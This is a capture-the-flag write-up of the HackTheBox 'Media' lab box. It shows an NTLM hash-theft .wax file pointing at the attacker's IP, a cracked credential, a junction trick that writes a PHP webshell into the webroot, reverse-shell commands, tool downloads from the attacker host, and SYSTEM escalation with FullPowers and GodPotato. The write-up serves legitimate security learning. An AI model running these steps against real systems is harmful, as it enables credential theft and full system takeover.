Post

Media - VL

Media - VL

Media - They never spoke truth

Media is a neat machine from VL onto HackTheBox. The box is hosting a custom PHP site on a XAMPP stack. I’ll start by leaking an NTLM hash of user enox via a media file and crack it. SSH is open, and I can use it to access the box. There isn’t much to the machine other than that, but the custom PHP site writes files on the system in an interesting way. I’ll junction point it to the webroot and write a shell, gaining access to a local service. I’ll use FullPowers from itm4n and abuse SeImpersonate with GodPotato.

Recon

Nmap

As always, I’ll start off with nmap.

1
2
3
4
5
6
7
8
9
10
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
|   3072 0b:b3:c0:80:40:88:e1:ae:aa:3b:5f:f4:c2:23:c0:0d (RSA)
|   256 e0:80:3f:dd:b1:f8:fc:83:f5:de:d5:b3:2d:5a:4b:39 (ECDSA)
|_  256 b5:32:c0:72:18:10:0f:24:5d:f8:e1:ce:2a:73:5c:1f (ED25519)
80/tcp   open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Not a DC, I love pure windows Exploitation.

80 - Website

There isn’t much to the website itself since it’s all just static. But at the bottom it has a submission form of some kind. Yet the interesting part is that, it’s asking me to upload a “Windows Media Compatible” file. I assume it must be clicked by some user.

Shell as Enox

Enumeration

I tried uploading php files but there is nothing. I assume it’s not being written on the webroot directly, rather a different directory. As the webpage hints that use a Windows media file, I found this neat article about stealing Net-NTLM hashes. I could craft the media file by hand, but I’ll rather use ntlm_theft tool from Greenwolf. It generates all types of files that can be weaponized to steal Net-NTLM hashes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  Media pythonx /opt/ntlm_theft/ntlm_theft.py --help
usage: ntlm_theft.py --generate all --server <ip_of_smb_catcher_server> --filename <base_file_name>

ntlm_theft by Jacob Wilkin(Greenwolf)

options:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -vv, --verbose        Verbose Mode
  -g {wax,desktopini,lnk,pdf,all,m3u,htm,modern,zoom,xlsx,jnlp,docx,autoruninf,xml,asx,rtf,scf,application,url}, --generate {wax,desktopini,lnk,pdf,all,m3u,htm,modern,zoom,xlsx,jnlp,docx,autoruninf,xml,asx,rtf,scf,application,url}
                        Choose to generate all files or a specific filetype
  -s SERVER, --server SERVER
                        The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
  -f FILENAME, --filename FILENAME
                        The base filename without extension, can be renamed later (test, Board-Meeting2020, Bonus_Payment_Q4)

I’ll generate wax one since the website is asking for Media file. hence the name of the box.

1
2
3
4
5
6
7
8
➜  Media pythonx /opt/ntlm_theft/ntlm_theft.py --generate wax --filename freelife --server 10.10.14.9
Created: freelife/freelife.wax (OPEN)
Generation Complete.
➜  Media ls freelife
freelife.wax
➜  Media cat freelife/freelife.wax
https://10.10.14.9/test
file://\\10.10.14.9/steal/file%     

It’s very simpler then one shown in the article.

After uploading the file, the site says:

Your application was successfully submitted. Our HR shall review your video and get back to you.

There is need someone reviewing / clicking the media file and yes on the responder tab I have hash for user enox.

1
2
3
[SMB] NTLMv2-SSP Client   : 10.129.234.67
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash     : enox::MEDIA:0d132883cb05a83d:0B1149AEF08F025C12BB52757BDA85E0:010100000000000000920E2D062BDC0193B55CCAFD62D7030000000002000800310032004A00580001001E00570049004E002D005A003600320035004A0043004A004E0041003500440004003400570049004E002D005A003600320035004A0043004A004E004100350044002E00310032004A0058002E004C004F00430041004C0003001400310032004A0058002E004C004F00430041004C0005001400310032004A0058002E004C004F00430041004C000700080000920E2D062BDC0106000400020000000800300030000000000000000000000000300000A8E66F60862A3DDD3FBB9978A8B3EDDCDEE2BBA32258F48E9A03E949D3195E8E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0039000000000000000000

I cracked the hash with john and the creds are: MEDIA\enox : 1234virus@, I saw in the scan that SSH is open. I can grab the user flag now.

1
2
3
4
5
6
7
8
9
10
➜  Media ssh [email protected]
<SNIP>
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

enox@MEDIA C:\Users\enox>powershell
<SNIP>

PS C:\Users\enox> type .\Desktop\user.txt
7d4e2529a94.........

Shell as local service

I want to take a look at how the files are being stored on disk from the upload. index.php has quiet a bit of html but I’ll just show the php code.

1
PS C:\xampp\htdocs> cat .\index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

    // Your PHP code for handling form submission and file upload goes here.
    $uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory

    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
        $firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
        $lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
        $email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

        // Create a folder name using the MD5 hash of Firstname + Lastname + Email
        $folderName = md5($firstname . $lastname . $email);

        // Create the full upload directory path
        $targetDir = $uploadDir . $folderName . '/';

        // Ensure the directory exists; create it if not
        if (!file_exists($targetDir)) {
            mkdir($targetDir, 0777, true);
        }

        // Sanitize the filename to remove unsafe characters
        $originalFilename = $_FILES["fileToUpload"]["name"];
        $sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);


        // Build the full path to the target file
        $targetFile = $targetDir . $sanitizedFilename;

        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
            echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";

            // Update the todo.txt file
            $todoFile = $uploadDir . 'todo.txt';
            $todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";

            // Append the new line to the file
            file_put_contents($todoFile, $todoContent, FILE_APPEND);
        } else {
            echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
        }
    }
    ?>

It’s very much self-explanatory code, It takes the firstname + lastname+ email and concatenates them and then generates and md5 hash which becomes the folder name. The file is sanitized before the upload to remove unsafe characters. The code stores the file at this location as this format.

1
C:/Windows/Tasks/Uploads/<md5_hash_of_firstname+lastname+email>/

The foldername is created on the user’s provided details.

1
2
3
4
5
6
7
8
9
PS C:\Windows\Tasks\Uploads> ls a93b86d50df6b5212191557aab580baa


    Directory: C:\Windows\Tasks\Uploads\a93b86d50df6b5212191557aab580baa


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/21/2025   7:44 AM             54 freelife.wax

I did not understand what to do next, the Vulnlab Wiki hints that look into symlinks on windows. I asked ChatGPT on how to create symlinks on windows and it gave me this powershell code block.

1
New-Item -ItemType Junction -Path "C:\Windows\Tasks\Uploads\a93b86d50df6b5212191557aab580baa" -Target "C:\xampp\htdocs"

Since it’s PHP, I’ll upload this cmd_small webshell and get a shell.

Note that, I’ll have to use the same detail for submitting the php webshell that I used for media file.

I’ll first remove the already existing folder and symlink it with htdocs webroot.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Windows\Tasks\Uploads> rm a93b86d50df6b5212191557aab580baa

Confirm
The item at C:\Windows\Tasks\Uploads\a93b86d50df6b5212191557aab580baa has children and the Recurse parameter was
not specified. If you continue, all children will be removed with the item. Are you sure you want to continue?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "Y"): Yes
PS C:\Windows\Tasks\Uploads> New-Item -ItemType Junction -Path "C:\Windows\Tasks\Uploads\a93b86d50df6b5212191557aab580baa" -Target "C:\xampp\htdocs"


    Directory: C:\Windows\Tasks\Uploads


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----l         9/21/2025   8:06 AM                a93b86d50df6b5212191557aab580baa

Now I’ll upload it.

And, Indeed the file had been uploaded to the webroot.

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Windows\Tasks\Uploads> ls a93b86d50df6b5212191557aab580baa


    Directory: C:\Windows\Tasks\Uploads\a93b86d50df6b5212191557aab580baa


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/2/2023  10:27 AM                assets
d-----         10/2/2023  10:27 AM                css
d-----         10/2/2023  10:27 AM                js
-a----         9/21/2025   8:09 AM             31 cmd.php
-a----        10/10/2023   5:00 AM          20563 index.php

Nice, I have shell as local service.

1
2
➜  Media curl "http://10.129.234.67/cmd.php?cmd=whoami"
nt authority\local service

I’ll use PowerShell #3 (Base64) from revshells.com.

1
curl "http://10.129.234.67/cmd.php?cmd=powershell%20-e%20JAB<SNIP>%3D"

On the other tab, I have a shell and the user is a local-service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜  ~ rlwrap ncat -nvlp 9001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.234.67:51781.

PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== ========
SeTcbPrivilege                Act as part of the operating system Disabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeCreateGlobalPrivilege       Create global objects               Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Disabled
SeTimeZonePrivilege           Change the time zone                Disabled
PS C:\xampp\htdocs>

Shell as SYSTEM

With those privileges enabled, I can regain access SeImpersonate privilege and get a SYSTEM Shell. To do that, I’ll grab the latest version of FullPowers.exe from itm4n.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\temp> iwr 10.10.14.9/FullPowers.exe -OutFile FP.exe
PS C:\temp> ls


    Directory: C:\temp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/21/2025   8:27 AM          36864 FP.exe

PS C:\temp> .\FP.exe -c "powershell -e <SNIP>" -z

On the other tab, I have a shell with full privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\temp> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

After uploading GodPotato, it works smoothly with no errors.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\temp> iwr 10.10.14.9/GodPotato-NET4.exe -OutFile GPN.exe
PS C:\temp> .\GPN.exe -cmd "whoami"
[*] CombaseModule: 0x140719969730560
[*] DispatchTable: 0x140719972317512
[*] UseProtseqFunction: 0x140719971610816
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\8f1ed91c-c67d-40fd-a6de-8161f1d8669c\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000b002-0850-ffff-4384-a22867d50344
[*] DCOM obj OXID: 0x1a2663a67f2f6e86
[*] DCOM obj OID: 0xfe85dfd3324ff555
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 884 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3456
nt authority\system

I’ll use the same base64 RevShell and get a shell as SYSTEM.

1
PS C:\temp> .\GPN.exe -cmd "powershell -e <SNIP>"

Other tab has a shell, and I can grab the root flag.

1
2
3
4
5
6
7
8
➜  ~ rlwrap ncat -nvlp 9001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.234.67:51799.

PS C:\temp> type C:\Users\Administrator\Desktop\root.txt
f26eb600...

I learned quiet nice things from the box, worth it.

This post is licensed under CC BY 4.0 by the author.